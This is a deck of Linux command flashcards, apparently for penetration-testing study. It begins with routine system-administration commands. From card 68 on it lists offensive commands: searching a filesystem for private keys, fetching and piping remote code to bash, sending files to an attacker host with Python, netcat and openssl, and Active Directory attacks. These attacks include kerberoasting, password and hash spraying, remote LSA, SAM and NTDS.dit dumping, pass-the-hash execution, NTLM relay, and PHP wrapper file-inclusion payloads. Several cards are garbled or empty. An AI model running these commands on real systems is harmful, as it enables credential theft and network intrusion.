Useful Linux Commands Flashcards

You must know all of these 100%

1
Q

Show system information

A

uname -a

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Display memory usage

A

free -h

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Show disk space usage

A

df -h

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Show disk usage per directory

A

du -sh [directory]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Show running processes

A

ps aux

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Show real-time system resource usage

A

top

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Interactive system monitoring tool

A

htop

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Show system uptime and load average

A

uptime

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Display last system boot time

A

who -b

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

Show currently logged-in users

A

who

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

Show last login history

A

last

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

Check system logs

A

journalctl -xe

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

Show kernel logs

A

dmesg

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Display open network connections

A

netstat -tulnp

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Display listening ports

A

ss -tulnp

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Display current network interfaces and IP addresses

A

ip a

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

Restart a service

A

systemctl restart [service]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

Stop a service

A

systemctl stop <service></service>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

Start a service

A

systemctl start [service]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

Enable a service to start on boot

A

systemctl enable [service]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

Disable a service from starting on boot

A

systemctl disable [service]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

Check service status

A

systemctl status [service]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

List all active services

A

systemctl list-units –type=service

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

Show disk partitions

A

lsblk

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q

Show detailed partition information

A

fdisk -l

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q

Mount a filesystem

A

mount [device] [mount_point]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q

Unmount a filesystem

A

umount <mount_point></mount_point>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q

Check disk health (SMART)

A

smartctl -a /dev/sdX

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q

Create a new user

A

useradd -m [username]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
30
Q

Delete a user

A

userdel -r [username]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
31
Q

Change user password

A

passwd [username]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
32
Q

Add a user to a group

A

usermod -aG [groupname] [username]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
33
Q

Show group memberships for a user

A

groups [username]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
34
Q

Show system resource limits

A

ulimit -a

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
35
Q

Monitor real-time system logs

A

tail -f /var/log/syslog

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
36
Q

Shut down the system immediately

A

shutdown -h now

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
37
Q

Reboot the system

A

reboot

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
38
Q

Securely delete a file

A

shred -u [file_name]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
39
Q

List files in a directory

A

ls -lah

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
40
Q

Change directory

A

cd [directory]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
41
Q

Create a new directory

A

mkdir [directory]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
42
Q

Remove an empty directory

A

rmdir <directory></directory>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
43
Q

Remove a directory and its contents

A

rm -rf [directory]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
44
Q

Copy a file

A

cp [source] [destination]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
45
Q

Move or rename a file

A

mv [source] [destination]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
46
Q

Create a new empty file

A

touch <file_name></file_name>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
47
Q

View file contents

A

cat [file_name]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
48
Q

Display file contents with pagination

A

less <file_name></file_name>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
49
Q

Show the first 10 lines of a file

A

head <[file_name]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
50
Q

Show the last 10 lines of a file

A

tail <file_name></file_name>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
51
Q

Find files by name

A

find /path/to/search -name “[file_name]”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
52
Q

Find files larger than 1GB

A

find / -size +1G

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
53
Q

Search for a string inside files

A

grep “pattern” [file]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
54
Q

Search recursively in directories

A

grep -r “pattern” /path/to/directory

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
55
Q

Show file type

A

file [file_name]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
56
Q

Change file permissions

A

chmod 755 [file_name]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
57
Q

Change file ownership

A

chown user:group [file_name]

58
Q

Compress a file with gzip

A

gzip [file_name]

59
Q

Decompress a gzip file

A

gunzip [file_name.gz]

60
Q

Compress a file with bzip2

A

bzip2 [file_name]

61
Q

Decompress a bzip2 file

A

bunzip2 [bzip file]

62
Q

Create a tar archive

A

tar -cvf archive.tar [directory]

63
Q

Extract a tar archive

A

tar -xvf archive.tar

64
Q

Create a compressed tar.gz archive

A

tar -czvf archive.tar.gz [directory]

65
Q

Extract a tar.gz archive

A

tar -xzvf archive.tar.gz

66
Q

Create a compressed tar.bz2 archive

A

tar -cjvf archive.tar.bz2 [directory]

67
Q

Extract a tar.bz2 archive

A

tar -xjvf archive.tar.bz2

68
Q

How to use scp?

A

scp [user]@[remote ip]:/path/to/file

69
Q

How to add something to $PATH?

A

export PATH=”[new path to add]:$PATH”

70
Q

How to port forward SSH

A

ssh -L [lport]:[lhost]:[rport] [user]@[rhost]

71
Q

How to search for ssh keys on a system

A

grep -rnw “PRIVATE KEY” /* 2>/dev/null | grep “:1”

72
Q

How to manually make http request

A

exec 3<>/dev/tcp/[ip]/[port]
echo -e “GET /LinEnum.sh HTTP/1.1\n\n”>&3
cat <&3

73
Q

How to make a python https upload server which takes POST

A

python3 -m virtualenv . && sudo python3 -m pip install –user uploadserver && openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj ‘/CN=server’ && sudo python3 -m uploadserver 443 –server-certificate ~/server.pem

74
Q

How to start an SSH server

A

useradd -m [username]
sudo systemctl enable sshd

75
Q

How to start a python3 http server?

A

python3 -m http.server

76
Q

How to start a python2 http server?

A

python2.7 -m SimpleHTTPServer

77
Q

How to start a PHP http server?

A

php -S 0.0.0.0:8000

78
Q

How to start a ruby http server?

A

ruby -run -ehttpd . -p8000

79
Q

How to GET with http python2

A

python2.7 -c ‘import urllib;urllib.urlretrieve ([url])’

80
Q

How to GET with http python3

A

python3 -c ‘import urllib.request;urllib.request.urlretrieve([url],[out file name]”)’

81
Q

How to POST with http python3

A

python3 -c ‘import requests;requests.post(“http://<attack>:8000/upload",files={"files":open(<filename>,"rb")})'</filename></attack>

82
Q

How to start a python3 http upload server?

A

python3 -m virtualenv . && python3 -m uploadserver

83
Q

How to GET with http PHP?

A

php -r ‘$file = file_get_contents([url]); file_put_contents([outfile name],$file);’

84
Q

How to GET with PHP fopen()?

A

php -r ‘const BUFFER = 1024; $fremote =
fopen([url], “rb”); $flocal = fopen([out file name], “wb”); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);’

85
Q

How to do fileless download PHP?

A

php -r ‘$lines = @file([url]); foreach ($lines as $line_num => $line) { echo $line; }’ | bash

86
Q

How to GET with http ruby?

A

ruby -e ‘require “net/http”; File.write([outfile name], Net::HTTP.get(URI.parse([url])))’

87
Q

How to GET with http perl?

A

perl -e ‘use LWP::Simple; getstore([url], [outfile name]);’

88
Q

How to upload file with netcat?

A

cat [file] > nc [ip] [port]

89
Q

How to download file with netcat?

A

nc -nvlp [port] > [out_file]

90
Q

How to upload file with ncat?

A

ncat –send-only [target ip] 8000 < file-to-transfer.txt

91
Q

How to upload

A

To create a certificate on a target machine:
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

run this on attacking machine:
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Download the file from target machine:
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

92
Q

How to start a python3 ftp server for downloading?

A

python3 -m virtualenv . && sudo pip3 install pyftpdlib && sudo python3 -m pyftpdlib –port 21

93
Q

How to start a python3 ftp server for uploading?

A

python3 -m virtualenv . && sudo pip3 install pyftpdlib && sudo python3 -m pyftpdlib –port 21 –write

94
Q

How to mount a filesystem with rdp rdesktop?

A

rdesktop [hostname] -d [domain] -u [user] -p [pass] -r disk:linux=[path]

95
Q

How to mount a filesystem with rdp xfreerdp?

A

xfreerdp /v:[hostname] /d:[domain] /u:[user] /p:[pass] /drive:linux,[path]

96
Q

How to start rlogin session?

A

rlogin [ip] -l [user]

97
Q

How to pull all files in an rsync share?

A

rsync -av rsync://[hostname]/[share]

98
Q

How to list contents of an rsync share?

A

rsync -av –list-only rsync://[hostname]/[share]

99
Q

How to connect to oracledb service?

A

sqlplus [user]/[pass]@[oracledb server ip]/[sid]

100
Q

How to connect to an ftp server?

A

ftp [user]@[ip] [port]

101
Q

How to connect to an ftp server in passive mode?

A

ftp [user]@[ip] [port] -p

102
Q

How to mount an NFS share?

A

sudo mkdir /mnt/target-NFS && sudo mount -t nfs [ip]:/ /mnt/target-NFS/ -o nolock

103
Q

How to unmount an NFS share?

A

cd /mnt && sudo umount ./target-NFS

104
Q

How to connect to an SMTP server?

A

telnet [ip] 25

105
Q

How to login to SMTP from commandline?

A

AUTH LOGIN

give base64 encoded creds

106
Q

How to compose an email via command line?

A

MAIL FROM:[emai;]
RCPT TO:[email]
DATA
Subject: [subject]
From: [email]
To: [email]

body of email
.

107
Q

How to log out from SMTP server?

108
Q

How to connect to mysql?

A

mysql -u [user] -h [ip] -p [pass]

109
Q

How to check domain info for linux domain joined host?

A

realm list

110
Q

How to kerberoast with impacket

A

GetUserSPNs.py [Domain/Username:password] -dc-ip [dc_ip] -request

111
Q

How to kerberoast on domain joined machine rubeus?

A

Rubeus.exe kerberoast

112
Q

How to check if smbexec is enabled with smbmap?

A

smbmap -H $ip -u [username] -p [password] -x “whoami”

113
Q

how to map an smb share with smbmap?

A

smbmap -H [ip] -u [username] -p [password] -r [share name]

114
Q

How to spray passwords for AD users?

A

nxc smb [host] -u [wordlist of users] -p [password wordlist] –continue-on-success

115
Q

How to spray hashes for AD users?

A

nxc smb [host] -u [wordlist of users] -H [hash list] –continue-on-success

116
Q

How to check if smb exec is enabled with nxc?

A

nxc smb [ip] -u [user] -d [doamin] -p [pass] -x whoami

117
Q

How to check if smb exec is enabled with nxc and execute command with local admin?

A

nxc smb [ip] -u [user] -d [doamin] -p [pass] -x whoami —local-auth

118
Q

How to enumerate smb shares with nxc?

A

crackmapexec smb [ip] -u [user] -p [pass] –shares

119
Q

How to enumerate domain users with rid brute?

A

nxc smb $ip -u [user] -p [pass] –rid-brute

120
Q

How to remotely dump lsa?

A

crackmapexec smb [ip] –local-auth -u ‘admin’ -p [pass] –lsa

121
Q

How to remotely dump SAM?

A

crackmapexec smb [ip] –local-auth -u ‘admin’ -p [pass] –sam

122
Q

How to remotely dump NTDS.dit

A

crackmapexec smb [ip] -u [user] -p [pass] –ntds

123
Q

How to remotely execute commands with wmi?

A

wmiexec.py [user]:[pass]@[ip] [command]

124
Q

How to remotely execute commands with wmi by passing a hash?

A

python3 wmiexec.py [user]:[pass]@[ip] -hashes [hash] [command]

125
Q

How to psexec remotely?

A

python3 psexec.py [user]:[pass]@[ip] [command]

126
Q

How to find AS-REP roastable users?

A

ldapdomaindump -u ‘[doamin][user]’ -p [pass] [ip]

127
Q

How to AS-REP roast with user list?

A

python3 GetNPUsers.py -dc-ip [ip] [domain]/ -usersfile users.txt

128
Q

How to crack AS-REP roast hashes?

A

hashcat -m 18200 [hashes] [wordlist] –force

129
Q

How to set up an NTLM relay smb server? 1

A

python3 ntlmrelayx.py -smb2support -o hashfile

130
Q

How to set up an NTLM relay smb server? 2

A

impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp

131
Q

How to enumerate AD Users using smb exec?

A

python3 GetADUsers.py [domain]/[user]:[pass] -dc-ip [ip]

132
Q

How to enumerate AD Users using smb exec by passing the hash?

A

python3 GetADUsers.py [domain]/[user]@[ip] -hashes [hash]

133
Q

How to mount an smb share

A

sudo mount -t cifs -o username=plaintext,password=[pass],domain=. //[ip]/[share] /mnt/share

134
Q

How to mount an smb share with a credential file

A

mount -t cifs //[ip]/[share] /mnt/share -o credentials=/path/credentialfile

135
Q

How to connect to an MSSQL database remotely?

A

sqsh -S [ip] -U [user] -P [pass]

136
Q

How to restart apache?

A

sudo systemctl restart apache2

137
Q

How to use php filter to include a php file

A

php://filter/read=convert.base64-encode/resource=/index/php

138
Q

How to use data wrapper php

A

?file=data://text/plain;base64,<base64_payload?

139
Q

How to use input wrapper php

A

file=input://, payload in body

140
Q

How to use zip wrapper php

A

file=zip://path/to/zip#path/to/file